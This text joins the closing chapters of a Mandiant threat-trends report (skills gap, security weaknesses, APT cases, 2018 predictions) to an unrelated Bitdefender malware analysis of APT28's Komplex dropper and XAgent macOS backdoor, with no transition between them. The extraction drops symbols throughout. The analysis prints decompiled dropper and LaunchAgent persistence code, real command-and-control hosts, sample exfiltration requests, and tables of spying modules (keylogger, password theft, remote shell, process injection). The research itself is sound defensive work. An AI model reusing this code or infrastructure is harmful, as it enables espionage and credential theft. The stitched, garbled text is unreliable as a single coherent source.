0 Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaisance Lateral Movement Maintain Persistence Complete Mission 5 10 15 20 Percentage of evidence provided P ha se s o f at ta ck li fe c yc le 22 20 19 14 10 8 7 22 40 SPECIAL REPORT  M-TRENDS 2018 41SPECIAL REPORT  M-TRENDS 2018 The data (Fig.
25) shows a definite gap in detections during the initial compromise phase of the attack lifecycle, which is one of the most critical moments when an organization should be able to detect and prevent threats.
This is often due to a combination of an overabundance of alerts that can overwhelm personnel and distract them from efforts to identify and respond to real threats, and a lack of in-house skills to quickly identify the events that are noteworthy to investigate.
While some phases of the attack lifecycle, such as internal reconnaisance and privilege escalation, have prevalent indicators that can be easily identified or even automated, once an attacker has breached the walls, detection of their activities becomes substantially more difficult due to ever evolving methods attackers have at their disposal.
Events at these phases require a greater level of experience and skill to identify and investigate.
Many organizations believe the personnel skillset gaps can be mitigated or offset by using tools to automate heavy lifting of some tasks.
However, automation can provide a false sense of security if the organization relies entirely on these tools without providing the human element to ensure they are effectively configured and to catch any outliers the tools may not address.
As attacks become more sophisticated, there is increasing value in having proactive threat hunting measures and skills in place to address potential risks before they impact the organization.
Visibility and detection are multi-tiered capabilities that rely on a chain of multiple roles.
If even one link is left to a member of the SOC who does not possess the skillset required to be effective in the role, the entire chain is compromised.
Lack of Incident Response Expertise Another trend directly attributed to the widening skills gap is a lack of expertise and experience in malware analysis, threat intelligence and forensics investigations, as well as handling major incidents.
This is particularly common in organizations with a young, burgeoning SOC.
When incidents arise within an organization, there are times when the investigation challenge will be outside of the scope of experience of the personnel responsible for mitigating the risk.
As niche specializations, these skills represent some of the rarest and most sought after on the market.
This is a primary reason many organizations outsource functions to firms that specialize in providing these roles, whether through a managed solution for long-term assistance or retainers with incident response firms to assist as the need arises.
Addressing the Skills Gap While the shortage of skilled cyber security professionals is not diminishing, organizations can still mitigate their risk of being attacked by investing in enhancing their existing capabilities and outsourcing specialized roles.
Enhancement efforts can include process refinement to maximize the efficiency of internal procedures, training for existing personnel to increase and expand their skills, proactive testing of critical incident response processes through tabletop exercises, automation of overhead processes such as ticket creation that typically require time and effort that could be spent on investigations and identifying new measures to address any gaps in the organizations current capabilities.
42 SPECIAL REPORT  M-TRENDS 2018 43SPECIAL REPORT  M-TRENDS 2018 ENDURING TRENDS in Security Fundamentals Mandiants strategic security services measure the maturity of an organizations cyber security program across critical security domains.
The critical security domains used to gain unauthorized access to organizations are observed annually by Mandiant during our incident response investigations.
Common attacker TTPs were observed during incident response investigations and further correlated by FireEye Threat Intelligence to correspond to areas of weakness frequently seen by our strategic services.
Six information security domains were observed repeatedly: We also observed that while organizations are increasingly recognizing the importance of operationalizing cyber threat intelligence (CTI), there are weaknesses in implementation.
The following examples are based on engagements delivered in 2017, where we saw attackers exploit weaknesses in an organizations detection and prevention controls.
Security risk management Identity and access management Data protection Incident response Network, cloud and data center protection Host and endpoint protection 42 SPECIAL REPORT  M-TRENDS 2018 43SPECIAL REPORT  M-TRENDS 2018 We have observed that many organizations do not have formalized threat and vulnerability management functions with the authority and necessary visibility into all network enclaves, assets and applications, and patches and configuration changes are not applied in a consistent and timely manner across the enterprise.
Patch management and configuration infrastructure often only covers a portion of the assets the organizations environments, leaving groups of assets to be independently managed, resulting in inconsistencies in patching and configuration hardening.
Through our incident response and cyber threat intelligence experience, we see attackers leveraging unpatched vulnerabilities.
These observations reinforce our belief in the importance of having mature threat and vulnerability management practices.
In one case, an unnamed threat actor exploited an unpatched Apache Struts framework vulnerability of an organizations externally facing application server.
The attacker then installed distributed denial of service (DDoS) malware on the server to create a platform to target other organizations.
Another example we observed APT35 (The Newscaster Team) compromising at least three U.S.-based companies, and performing reconnaissance at two other U.S. organizations and one non-U.S. company.
At least one organization was likely compromised due to the attacker exploiting unpatched vulnerabilities in the Ektron CMS platform, which allowed them to upload web shell backdoors.
The attacker then leveraged publicly available malware and legitimate Windows tools to dump passwords and exfiltrate data.
Security Risk Management Identity and Access Management We continue to observe that authentication and authorization controls are often not hardened against abuse from attackers.
Two of the most common issues are a lack of multi-factor authentication (MFA) enforcement and securing privileged credentials.
Many organizations do not have MFA implemented, or they have a true MFA solution that provides the second factor out-of-band and not generated within the users device.
Instead, they rely on device certificate-based authentication, which is easier to bypass.
Additionally, organizations have not hardened their Active Directory environments, such as by reducing the exposure of Windows credentials in memory, and they have not adequately secured privileged credentials from misuse.
An example of an attacker exploiting single-factor authentication is APT28 (Tsar Team) in their targeting of hotel Wi-Fi networks.
The group has used noteworthy techniques, including sniffing passwords from the guest Wi-Fi network traffic, poisoning the NetBIOS Name Service, and spreading laterally using the ETERNALBLUE exploit.
One incident involved a user being compromised after connecting to a public Wi-Fi network.
Twelve hours after the victim initially connected to the publicly available Wi-Fi network, APT28 logged into the machine with stolen credentials.
After successfully accessing the machine, the attacker deployed tools on the machine, spread laterally through the victims network, and accessed the victims OWA account.
Another example of an attacker leveraging weakness in authentication and authorization controls is APT10 (Menupass Team), which typically uses credential harvesters to acquire privileged credentials.
We observed them executing tools such as Mimikatz and SysInternals ProcDump to harvest user credentials in multiple intrusions where FireEye responded.
These were invoked using different methods, including local execution, DLL search- order hijacking, remote execution and output through PsExec/WMIExec, and automated collection through custom batch scripts.
44 SPECIAL REPORT  M-TRENDS 2018 45SPECIAL REPORT  M-TRENDS 2018 Many organizations we work with do not have well-defined data classification policies and protection requirements for sensitive data types.
Compounding this, these same organizations often do not know all of the types of data they possess and where they are located within the enterprise in structured and unstructured locations.
This information is necessary to properly establish appropriate detection and protection technologies and processes in accordance with the data sensitivity level.
The upcoming General Data Protection Regulation (GDPR) requirements emphasize the importance of appropriate data handling practices and protections more than ever, and provide the mechanism to penalize organizations that are not taking the proper actions to protect sensitive data.
In multiple cases, Mandiant observed attackers leveraging minimal controls of sensitive data within the victims environment.
Sensitive intellectual property and PII were not secured with additional controls such as network segmentation, MFA, encryption and restrictive Internet egress controls.
In these cases, the organizations applied few minimum internal controls beyond basic single-factor user authentication to applications, code repositories and network shares.
Once the attackers were on the internal network with the proper credentials, they completed their mission of accessing the targeted information, staging the data and exfiltrating gigabytes of sensitive information.
Data Protection We continue to see organizations struggle with consolidated visibility across all enclaves of their environments.
Many organizations focus their monitoring on regulated portions of their networks (e.g., PCI, SOX) and have not expanded logging and monitoring efforts to other less-scrutinized portions.
Incomplete and decentralized logging of investigation-relevant sources hinder the detection and response capabilities of the organizations information security team.
In many Mandiant incident response engagements, we observed that attacker activity went unmitigated by the organizations information security monitoring team and capability.
This is due to many factors including lack of authority, lack of visibility and a lack of instrumentation.
Mandiant often observes that information security is not a dedicated function and does not have authority across the organization, but only over a portion of assets.
Specific key instrumentation components we see missing include a centralized log aggregation capability, host and endpoint logging configurations (e.g., PowerShell, Sysmon, OS and Application Audit logs) and network level visibility for lateral movement.
Incident Response 44 SPECIAL REPORT  M-TRENDS 2018 45SPECIAL REPORT  M-TRENDS 2018 Network, Cloud, and Data Center Protection We commonly find deficiencies in network segmentation and secure configuration of cloud services.
When customers do not have network segmentation properly implemented, detection and remediation are much more difficult, and the resulting impact of the breach is significantly higher.
Neglecting to secure cloud services, such as the Office 365 email platform, results in attackers gaining access to sensitive emails and data and a limited ability for organizations to detect and investigate a breach.
Mandiant observed multiple cases of attackers targeting an organizations Office 365 instances to gain access to sensitive messages.
Examples of techniques observed include malicious mailbox forwarding rules and abuse of the Office 365 eDiscovery functionality.
We have seen attackers create the malicious mailbox forwarding rules by doing the following: 1 Compromised several accounts through password spraying the organizations external Active Directory Federation Services (AD FS) proxy.
2 Authenticated to the compromised accounts and created a mailbox forwarding rule to forward all messages to a malicious mail address under their control.
In other instances, attackers stole Exchange service credentials during on-premises network intrusions, then accessed the eDiscovery functionality of Office 365 and ran searches through the platform using keywords of interest to the attackers.
3 Downloaded the resulting messages from the queries.
46 SPECIAL REPORT  M-TRENDS 2018 47SPECIAL REPORT  M-TRENDS 2018 Common areas of weakness in endpoint protection that we observed in organizations are advanced malware protections, investigation capabilities and application whitelisting.
Many organizations rely on legacy signature-based protections on the endpoint.
Coupled with that is the inability of information security professionals to conduct deep forensic analyses of malicious activity across the server and end user computing environments.
Application whitelisting is another important detection and prevention control we see lacking in the organizations we assess.
Without application whitelisting, end users and attackers have the ability to install arbitrary software in an uncontrolled manner.
These weaknesses are commonly exploited by attackers in the initial compromise and establish foothold stages of the attacker lifecycle in the incidents we investigate.
Phishing continues to be a primary preferred method of compromising organizations because of its simplicity and effectiveness.
However, determined attackers will pivot to other methods of deploying malware.
As an example, in May 2017, FireEye Threat Intelligence observed an uptick in activity related to an ongoing campaign distributing Emotet malware.
A wide variety of lures and distribution methods were leveraged in this high-volume campaign, including malicious Word document attachments, links to Word documents, and links to JavaScript files to propagate Emotet malware.
The actor(s) behind this campaign leveraged more than 300 compromised websites to host malicious Word documents and Emotet payloads.
Advanced malware protections at the email and endpoint levels provide a level of mitigation to these types of attacks however, attacker tactics are continuously changing.
Logs and detections from these controls should be regularly monitored and investigated for signs of further intrusion into the target organizations environment.
Endpoint hardening such as application whitelisting and mitigations provided by the OS vendor should be applied across the organization.
Host and Endpoint Protection 46 SPECIAL REPORT  M-TRENDS 2018 47SPECIAL REPORT  M-TRENDS 2018 Improvements Throughout 2017, Mandiant also observed improvements in several other areas.
These include increased executive support and awareness of cyber security with GDPR driving improved data protection practices, as well as the need for incident response retainer agreements and regular tabletop exercises.
We observed increased awareness of the need for cyber security among business leaders, senior executives and board members.
As cyber attacks become more frequent and sophisticated, organizations of all sizes across every industry must make cyber risk management a priority.
Organizations that fall under the GDPR regulation requirements are placing greater importance on improving their handling of data protection initiatives.
As a result of these initiatives for compliance, PII is beginning to receive more attention and protections in the form of segregation, tokenization/masking, encryption and more aggressive data purging policies.
However, many organizations are still in the beginning stages of preparing for the regulation.
More organizations are recognizing the need for incident response retainer agreements to increase their ability to quickly investigate cyber incidents and intrusions.
This is a result of a combination of an increasing number of cyber insurance providers offering lower premiums to organizations that show a proactive approach to cyber security, and increased awareness that having an agreement in place can greatly reduce the time to respond by outside investigators.
Mandiant observed that organizations are increasingly using tabletop exercises for technical information security and executive leadership teams to evaluate the tools, processes and expertise their organizations use to respond to cyber attacks.
Reducing Risk Organizations need to continuously increase the maturity of their information security program and reduce their risk of compromise through an approach incorporating likely real-world threats and attacker TTPs.
Information security leadership should be regularly communicating this message to executives using a risk-based lens.
As cyber attacks become more frequent and sophisticated, executives, business line leaders and boards of directors need to take an active role in cyber risk management and data breach preparedness.
By doing this, investments and mitigations can be placed in the areas of highest risk to the organization.
48 SPECIAL REPORT  M-TRENDS 2018 49SPECIAL REPORT  M-TRENDS 201848 SPECIAL REPORT  M-TRENDS 2018 PREDICTIONS FOR 2018 48 SPECIAL REPORT  M-TRENDS 2018 49SPECIAL REPORT  M-TRENDS 2018 APT10 Evolving Chinese Cyber Espionage FireEye assesses with high confidence the Chinese government has generally complied with the terms of the September 2015 Obama-Xi Agreement.
Under this agreement, China agreed not to use state-sponsored hackers to steal the intellectual property of U.S. companies.
FireEyes research indicates Chinese cyber operations targeting the intellectual property of U.S. companies declined significantly around the signing of the Obama-Xi Agreement.
In 2013 FireEye identified a peak of 72 concurrent operations were carried out by Chinese state-sponsored attackers.
In the months leading up to the signing of the Obama-Xi Agreement fewer than 30 operations were observed, and at the time of publication, FireEye is tracking six or fewer.
The Trump Administration renewed the deal, which serves as evidence that China is generally viewed as complying with the agreement.
While FireEye assesses that the Obama-Xi Agreement has led to a significant decrease in Chinese government- controlled cyber operations specifically stealing intellectual property, this does not mean China has ceased cyberoperations against U.S. companies.
In fact, FireEye has seen an increase in the number of attacks against U.S. companies that have resulted in the theft of business information such as bid prices, contracts, and information related to mergers and acquisitions.
FireEye has also seen a surge in cyber espionage campaigns targeting business-to-business services such as cloud providers, telecommunications companies and law firms.
Attacking service providers could allow Beijing to collect intelligence on a broad group of targets in a manner that is less likely to be detected.
Chinese threat group APT10 targets IT service providers worldwide, including accessing victim networks through U.S.-based managed security service providers (MSSP).
APT10 spear phishing emails have been relatively unsophisticated, leveraging link (.lnk) files within archives, files with two extensions, and in some cases, simply identically named decoy documents and malicious launchers within the same archive.
We further assess China may be willing to violate the Obama-Xi Agreement on strategic imperatives when diplomatic consequences can be minimized.
FireEye has observed groups potentially preparing operations against revolutionary technologies, such as artificial intelligence and advanced batteries.
China may be willing to risk upsetting the status quo to obtain the economic and military advances these technologies could provide.
Targeting the Software Supply Chain Malware authors have increasingly leveraged the trust between users and software providers.
Users do not expect malicious code to be introduced by updates from trusted software vendors.
In supply chain attacks, cyber threat groups target the build servers, update servers and other parts of the development or release environment.
The hackers then inject malware into software releases, infecting users through official software distribution channels.
This attack method allows attackers to target broad set of potential victims while obfuscating their intended target(s).
In 2017, FireEye observed at least five cases where advanced threat actors compromised software companies to target users of the software.
FireEye assesses that advanced attackers will likely continue to leverage the software supply chain to conduct cyber espionage.
Chinese cyber espionage operators modified the software packages of a legitimate vendor, NetSarang Computer, allowing access to a broad range of industries and institutions that include financial services, transportation, telecommunications, energy, media, academic, retail, and gaming.
Likewise, in June 2017, suspected Russian actors deployed NotPetya ransomware to various European targets by compromising Ukrainian software vendor M.E.Doc.
50 SPECIAL REPORT  M-TRENDS 2018 51SPECIAL REPORT  M-TRENDS 201850 SPECIAL REPORT  M-TRENDS 2018 Some of the newest trends we observed in 2017 include increased activity and sophistication from Iran, and an increase in the retargeting of previously compromised organizations.
However, these are simply evolutions of cyber security constants: threat actors from various nations with diverse motivations will continue to attack, and defenders will be tasked with stopping those threats and doing everything they can  and that is required  to protect their customers.
CONCLUSION 50 SPECIAL REPORT  M-TRENDS 2018 51SPECIAL REPORT  M-TRENDS 2018 51SPECIAL REPORT  M-TRENDS 2018 One of the highlights from our data is the global median time for internal detection dropping by over three weeks, from 80 days in 2016 to 57.5 days in 2017.
Although the global median time from compromise to discovery has risen by two days, we see that organizations are getting better at discovering compromises in-house with their own internal teams.
Of course, there is still work to be done.
The cyber security skills gap that has existed for some time now appears to be widening, bringing with it a rising demand for skilled personnel capable of meeting the challenges posed by todays highly skilled threat actors.
For organizations looking to improve their own security teams, Red Team Assessments can help.
Mandiants red team engagements involve leveraging sophisticated attacker TTPs to breach organizations as a learning experience.
As a result, defenders can gain valuable insight into what they should be doing to stay ahead of todays most prominent threats.
While its important to focus on new and evolving threats, we also urge security professionals to never neglect best practices such as network segmentation, data segregation and protecting their most sensitive information.
It is also just as important to be ready and able to respond to an incident, since we all know it is a matter of when, not if organizations will experience an attack.
We encourage organizations to hold incident response tabletop exercises to simulate typical intrusion scenarios.
These exercises help expose participants  notably executives, legal personnel and other staff  to incident response processes and concepts.
Additionally, organizations may want to consider partnering with professionals that specialize in defending against threats specific to the business.
Defenders have to get it right every single time, while threat actors only need to get it right once.
By sharing information and solutions through M-Trends 2018 with the security community, we continue to contribute to the improvement of our collective security awareness, knowledge and capabilities.
FireEye, Inc. 601 McCarthy Blvd.
Milpitas, CA 95035 408.321.6300/877.FIREEYE (347.3393) infoFireEye.com To learn more about FireEye, visit: www.
FireEye.com About FireEye, Inc. FireEye is the intelligence-led security company.
Working as a seamless, scalable extension of customer security operations, FireEye offers a single platform that blends innovative security technologies, nation-state grade threat intelligence and world-renowned Mandiant consulting.
With this approach, FireEye eliminates the complexity and burden of cyber security for organizations struggling to prepare for, prevent and respond to cyber attacks.
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SP.MTRENDS.US-EN-042018
Paper Dissecting the APT28 Mac OS X Payload [2] White Paper Authors: Tiberius Axinte, Technical Lead, Antimalware Lab Bogdan Botezatu  - senior e-threat analyst [3] White Paper A post-mortem analysis of Trojan.
MAC.APT28 - XAgent For the past decade, Windows users have been the main targets of consumer, for-profit cybercrime.
Even now, malware on platforms such as Mac OS X and Linux is extremely scarce compared with the Windows threat landscape.
Enter the upper tiers of malware creation: advanced persistent threats.
These extremely complex, highly customized files are after targets, not platforms.
Attacks such as those persistently carried out by APT28 target multiple individuals in multiple organizations who run a wide range of hardware and software configurations.
Since the groups emergence in 2007, Bitdefender has become familiar with the backdoors used to compromise Windows and Linux targets, such as Coreshell, Jhuhugit and Azzy for the former OS or Fysbis for the latter.
This year we have been able to finally isolate the Mac OS X counterpart - the XAgent modular backdoor.
This whitepaper describes our journey in dissecting the backdoor and documenting it piece by piece.
[
4] White Paper A.
Context In mid-February this year, we discovered a new Mac sample that appeared to be the Mac version of the APT28 XAgent component.
This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration.
Until now this component was only available for Windows, Linux and iOS operating systems.
Though you might expect this Mac version of XAgent to be the iOS version compiled to work on Mac, it is a different creation, with a much more advanced feature set.
The Mac version shares multiple similarities with those designed for other operating systems.
However, the Mac agent brings more spying capabilities such as stealing iOS backups from Mac computers, which contain messages, contacts, voicemail, call history, notes, calendar and Safari data.
B.
Attack Flow Last year on 26 of September, PaloAlto identified a new Mac OS X Trojan associated with the APT28/Sofacy group that received the Komplex name.
The Komplex Trojan is a binder with multiple parts: a dropper, a payload and a decoy pdf file.
1.
The Komplex Binder: Is the main executable of roskosmos_2015-2025.app.
Its main purpose is to save a second payload(the dropper) on the system and open the decoy pdf file pictured below.
v7  objc_msgSend(OBJC_CLASS___NSString, stringWithFormat:, CFSTR(/roskosmos_2015-2025.pdf), v6) v8  objc_msgSend(OBJC_CLASS___NSString, stringWithFormat:, CFSTR(SetFile -a E / roskosmos_2015-2025.pdf), v6) v9  objc_msgSend(OBJC_CLASS___NSString, stringWithFormat:, CFSTR(rm -rf /roskosmos_2015-2025.
app), v6) v10  objc_msgSend( OBJC_CLASS___NSString, stringWithFormat:, CFSTR(open -a Preview.app /roskosmos_2015-2025.pdf), v6) v11  objc_msgSend(OBJC_CLASS___NSData, dataWithBytes:length:, joiner, 135028LL) objc_msgSend(v11, writeToFile:atomically:, CFSTR(/tmp/content), 1LL) v12  (const char )objc_msgSend(v9, UTF8String) system(v12) system(chmod 755 /tmp/content) v13  objc_msgSend(OBJC_CLASS___NSData, dataWithBytes:length:, pdf, 1584258LL) objc_msgSend(v13, writeToFile:atomically:, v7, 1LL) v14  (const char )objc_msgSend(v8, UTF8String) system(v14) v15  objc_msgSend(OBJC_CLASS___NSTask, alloc) v16  objc_msgSend(v15, init) objc_msgSend(v16, setLaunchPath:, CFSTR(/tmp/content)) objc_msgSend(v16, launch) objc_msgSend(v16, waitUntilExit) v17  (const char )objc_msgSend(v10, UTF8String) system(v17) The Komplex Binder [5] White Paper Komplex: roskosmos_2015-2025.pdf 2.
The Komplex Dropper: Its main functionality is to drop a third Komplex component: the final payload, and ensure persistence on the infected system system(mkdir -p /Users/Shared/.local/  /dev/null) system(mkdir -p /Library/LaunchAgents/  /dev/null) off_10001B4F0(v5, off_10001B4F0, CFSTR(/Users/Shared/.local/kextd), 1LL) off_10001B4F0(v6, off_10001B4F0, CFSTR(/Users/Shared/com.apple.updates.plist), 1LL) off_10001B4F0(v7, off_10001B4F0, CFSTR(/Users/Shared/start.sh), 1LL) system(cp /Users/Shared/com.apple.updates.plist HOME/Library/LaunchAgents/  /dev/null) remove(/Users/Shared/com.apple.updates.plist) system(chmod 755 /Users/Shared/.local/kextd) system(chmod 755 /Users/Shared/start.sh) 3.
The Komplex Payload: Is the final component of the Komplex malware, with the sole purpose of downloading and executing a file, as requested by the CC servers.
In other words, Komplex is an APT28/Sofacy component that can be distributed via email, disguised as a PDF document, to establish a foothold in a system.
Once it infects the host, it can download and run the next APT28/Sofacy component, which - to the best of our knowledge - is the XAgent malware that forms the object of this paper.
Our assumption is guided by hard evidence included in the binary.
Our forensics endeavor revealed a number of indicators that made us think XAgent was distributed via Komplex malware: [6] White Paper Komplex XAgent Project path /Users/kazak/Desktop/Project/komplex /Users/kazak/Desktop/Project/XAgentOSX Malware path on the infected system /Users/Shared/.local/kextd /Username/Library/Assistants/.local/random_name CC apple-iclods[.
]net apple-iclods.org Possible Attack Flow [7] White Paper C. Initialization The main module of the XAgent component is called BootXLoader.
Upon starting, it calls the  runLoader method, which orchestrates the following: 1.
Checks if a debugger is present and, if so, the malware exits.
v29  1 v30  14 v31  1 v32  getpid() v26  648LL if ( sysctl(v29, 4u, v27, v26, 0LL, 0LL) ) goto LABEL_13 2.
The module then waits for internet connectivity by pinging 8.8.8.8.
v7  v2 v3  0 objc_retainAutorelease(CFSTR(8.8.8.8)) v4  objc_msgSend_ptr(CFSTR(8.8.8.8), selRef_cStringUsingEncoding_, 1LL, v7) v5  SCNetworkReachabilityCreateWithName(0LL, (__int64)v4) HIDWORD(v7)  0 if ( (unsigned __int8)SCNetworkReachabilityGetFlags(v5, (char )v7  4) ) .. 3.
Initializes the module used for communicating with the CC servers (called HTTPChannel) and establishes communication between the malware and the CC servers.
http_chanel_obj  objc_msgSend_ptr(classRef_HTTPChannel, selRef_alloc) v12  v10(http_chanel_obj, (const char )selRef_init) v13  v10(classRef_NSThread, selRef_alloc) v14  objc_msgSend_ptr(v13, selRef_initWithTarget_selector_object_, v4, selRef_postThread_, v12) objc_msgSend_ptr(v14, selRef_start) v15  objc_msgSend_ptr(classRef_NSThread, selRef_alloc) v16  objc_msgSend_ptr(v15, selRef_initWithTarget_selector_object_, v4, selRef_getThread_, v12) objc_msgSend_ptr(v16, selRef_start) 4.
Starts the main handle module for CC commands and the spying modules: MainHandler v6  objc_msgSend_ptr(classRef_MainHandler, selRef_alloc) v7  objc_msgSend_ptr(v6, (const char )selRef_init) v8  objc_retain_ptr(v5, selRef_init) v9  v7[4] v7[4]  v8 objc_release_ptr(v9) objc_msgSend_ptr(v7, selRef_cycleLoop) [8] White Paper D. Communication The agent starts by selecting a CC server from a hardcoded list, then sends a hello message and starts two main communications threads: One for receiving commands from the CC server, in an infinite GET loop.
One for sending data to the CC server, in an infinite POST loop.
1.
Receiving commands from CC server The agent awaits CC commands from the server and inserts them into a command queue that will be executed in a separate thread by MainHandler module.
CC Servers http://23.227.196.215 http://apple-iclods.org http://apple-checker.org http://apple-uptoday.org http://apple-search.info The command structure, called cmdPacket, contains a command identifier, a command parameter and a size for the parameter.
struct cmdPacket unsigned char cmd char param unsigned long long param_size  Command Structure The command request to the CC server is made via HTTP GET.
It receives a base64 encoded cmdPacket that has previously been encrypted with RC4 using a hardcoded KERNEL_CRYPTO_MAIN_KEY.
HTTP GET Request Method GET Server CC Verbs search/?,
find/?,
results/?,
open/?,
search/?,
close/?
Args from, itwm, ags, oe, aq, btnG, oprnd, itwm, utm, channel Response (base64) Request a command from server [9] White Paper GET http://apple-iclods.org/close/?itwmLO6iN- PjpD0U8AVlLo_Hk3X9FSgAFxzxI49_qwCS03APJT HTTP/1.1 Host: apple-iclods.org Pragma: no-cache Connection: keep-alive Accept: / User-Agent: 4fe4b9560e99e33dabca553e2eeee510 CFNetwork/673.3 Darwin/13.4.0 (x86_64) Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive Example of GET message Based on the command from the CC server, the agent decodes and decrypts the command structure, and inserts it in a command queue to be executed by the MainHandler module.
Command Value Command char Module Action 101 e InfoOS getOsInfo 102 f InfoOS getProcessList 103 g RemoteShell executeShellCommand 104 h RemoteShell getInstalledApps 105 i RemoteShell checkBackupIosDeviceFolder 106 j FileSystem downloadFileFromPath 107 k FileSystem createFileInSystem 108 l FileSystem executeFile 109 m FileSystem deleteFile 110 n ScreenShot takeScreenShot 111 o ScreenShot Start screenShotLoop 112 p ScreenShot Stop screenShotLoop 116 t Password getFirefoxPassword 117 u FTP uploadFile:urlServer:userName:password: 118 v FTP stopOperation 119 w FileSystem readFiles CC Commands and Actions 2.
Sending information to CC server To exfiltrate information to the CC server (such as screenshots, passwords, files and more), the agent uses a defined structure called msgPacket.
struct msgPacket int agent_id short module_id unsigned char cmd_id char data_ unsigned int data_size unsigned char priority  Message Structure [10] White Paper The message is encrypted with RC4 with a hardcoded KERNEL_CRYPTO_MAIN_KEY.
It then appends a key and a DATA_TOKEN xor-ed with the key.
Ultimately, the module encodes the result with base64 and sends it to the CC server in a POST request.
HTTP POST Request Method POST Server CC Body(base64) Send message to server When starting the communication, the agent sends a hello message to the server using the POST request detailed above.
This request has the following HTTP body: POST Body  for Hello Message agent_id IOPlatformUUID module_id 0x3303 cmd_id 2 data 0x33033333334433553377 data_size 0xF priority 0x16 Hello message body POST http://23.227.196.215/watch/?itwm7FJcXOPyN_Znh7quXfh4WAaKquNzY oe9cu2LRvfabagsPi8KZsjwBhoeHXK20Paqh2RBWMQIaqyRRTHi5HMKNBXTB Host: 23.227.196.215 Content-Type: application/x-www-form-urlencoded charsetutf-8 Connection: keep-alive Proxy-Connection: keep-alive Accept: / User-Agent: 4fe4b9560e99e33dabca553e2eeee510 (unknown version) CFNetwork/673.3 Darwin/13.4.0 (x86_64) Accept-Language: en-us Accept-Encoding: gzip, deflate Content-Length: 81 0_a70HpSuFQI7FnNetyKM559SUEcCj-WBinNUfTdPQw0ZVTfyNXe26b6isibFp_cJLGqtiOZ9Em3iUA Example of Hello Message [11] White Paper E. Modules All the important functionalities of the XAgent lie in its modules.
These modules are used for communication with the CC server, encryption and encoding and - most importantly - for data exfiltration and espionage.
1.
BootXLoader: is the main module that handles the initialization procedures.
2.
MainHandler:  handles CC commands and controls the other modules based on the commands it receives from the CC.
case e: getInfoOSX case f: getProcessList case g: remoteShell case h: getInstalledAPP case i: showBackupIosFolder case j: downloadFileFromPath case k: createFileInSystem case l: execFile case m: deletFileFromPath case n: takeScreenShot case o: startTakeScreenShot case p: stopTakeScreenShot case t: getFirefoxPassword case u: ftpUpload case v: ftpStop case w: readFiles 3.
HTTPChannel : Used for continuous communication with the CC server, for receiving commands and sending stolen data to the server.
-[HTTPChannel enqueue:array:] -[HTTPChannel dequeue:] -[HTTPChannel clear:] -[HTTPChannel getIntegerFromProcName] -[HTTPChannel getAgentID] -[HTTPChannel createRandomSymbols:] -[HTTPChannel createEncodeToken:size_token:] -[HTTPChannel createKeyToken:] -[HTTPChannel random:end:] -[HTTPChannel generateUrlQuestion:] -[HTTPChannel generateHttpMes:data_size:size_http_mes:] -[HTTPChannel createEncodeData:size_data:size_result_data:] -[HTTPChannel takeOutPacket:::] -[HTTPChannel generateUrlParametrs:] -[HTTPChannel isActiveNetwork] -[HTTPChannel isActiveChannel] -[HTTPChannel nextServer:] -[HTTPChannel timeoutChanger:] -[HTTPChannel get] -[HTTPChannel getCryptoRawPacket] -[HTTPChannel postMessageThread] -[HTTPChannel post] -[HTTPChannel createCryptPacket] -[HTTPChannel createDecryptPacket:] -[HTTPChannel helloMessage] [12] White Paper 4.
CameraShot: not implemented.
5.
Password: used to obtain passwords from Firefox browser profiles.
The modules saves them to a file that will be sent to the CC servers.
-[Password writeLogMsg:] -[Password htmlLogMessage:] -[Password _initNSSLib] -[Password getFirefoxPassword] 6.
FileSystem: used for file management, such as: find file, delete file, execute file, create file.
-[FileSystem getFileFromDirectory:sizeFile:] -[FileSystem createFile:bodyFile:sizeBody:] -[FileSystem executeFile:] -[FileSystem deleteFile:] -[FileSystem findFilesAtPath:withMask:andRecursion:] 7.
FTPManager: used to upload file to the server using credentials received in a previous command from the CC server.
-[FTPManager buffer] -[FTPManager init] -[FTPManager _checkFMServer:] -[FTPManager fileSizeOf:] -[FTPManager _createListingArrayFromDirectoryListingData:] -[FTPManager _uploadData:withFileName:toServer:] -[FTPManager getAgentID] -[FTPManager _uploadFile:toServer:] -[FTPManager _createNewFolder:atServer:] -[FTPManager _contentsOfServer:] -[FTPManager _downloadFile:toDirectory:fromServer:] -[FTPManager uploadData:withFileName:toServer:] 8.
InjectApp: Leverages existing higher-level vel interprocess communication mechanisms by sending an kASAppleScriptSuite/ kGetAEUTused event to a process to make it load Apple scripting additions.
It then sends another event to inject in to the following Mac system processes: mdworker SystemUIServer Dock loginwindow UserEventAgent -[InjectApp injectRunningApp] -[InjectApp isInjectable:] -[InjectApp sendEventToPid:] 9.
InfoOS: Gather information from the infected computer, such as: IOPlatformUUID, process list, operating system version.
10.
Keylogger: Records any keystroke from user activity on the system.
-[Keylogger activeAppDidChange:] -[Keylogger addNotificationForActiveApp] -[Keylogger checkAccesibility] -[Keylogger checkSpecialKey:] -[Keylogger disableLogging] -[Keylogger enableLogging] -[Keylogger initEventTapAndStartRunLoop] -[Keylogger keyPressedeventMonitor] -[Keylogger pressedKeyWithKeyCode:andModifiers:] -[Keylogger removeNotificationForActiveApp] -[Keylogger sendLog] -[Keylogger setAccessibilityApplication] [13] White Paper -[Keylogger setKeyPressedeventMonitor:] -[Keylogger start] -[Keylogger status] -[Keylogger stop] 11.
Launcher: This module is used for generating XAgents file path on the infected system and to re-execute itself.
The malware is located in the UserHomedir/Library/Assistants/.local/ path in a random directory with a name picked from a hardcoded list.
Its filename is also picked from a hardcoded list.
[
Launcher randomInteger:max:] [Launcher generateRandomPathAndName] -[Launcher reloadItSelf:] -[Launcher checkProcessName] The malware is located in the UserHomedir/Library/Assistants/.local/ path in a random directory with a name picked from a hardcoded list.
Its filename is also picked from a hardcoded list.
